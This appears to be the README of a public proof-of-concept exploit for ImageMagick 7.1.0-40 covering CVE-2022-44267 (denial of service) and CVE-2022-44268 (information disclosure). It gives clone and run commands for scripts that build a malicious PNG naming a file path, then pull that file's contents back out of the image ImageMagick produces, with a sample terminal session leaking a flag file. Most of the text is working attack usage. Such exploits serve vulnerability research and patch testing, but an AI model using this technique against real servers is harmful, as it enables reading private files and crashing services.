Credit to the researchers who discovered this:
Create a malicious PNG to take advantage of ImageMagick 7.1.0-40:
- CVE-2022-44267: Denial of Service
- CVE-2022-44268: Information Disclosure
Disclaimer: The author of this project is not responsible for any possible harm caused by the materials of this project.
- Python3
- PIL (
pip install Pillow
)
Crafting a PNG with craft.py:
git clone https://github.com/agathanon/cve-2022-44268
cd cve-2022-44268
python3 craft.py original.png lol.png /path/to/file
Data extraction with extract.py:
python3 extract.py exfil.png
anon@computer:~/code/cve-2022-44268$ python3 craft.py original.png readflag.png $PWD/flag.txt
anon@computer:~/code/cve-2022-44268$ convert readflag.png -resize 100x100 exfil.png
anon@computer:~/code/cve-2022-44268$ python3 extract.py exfil.png
AAAABBBBCCCC
anon@computer:~/code/cve-2022-44268$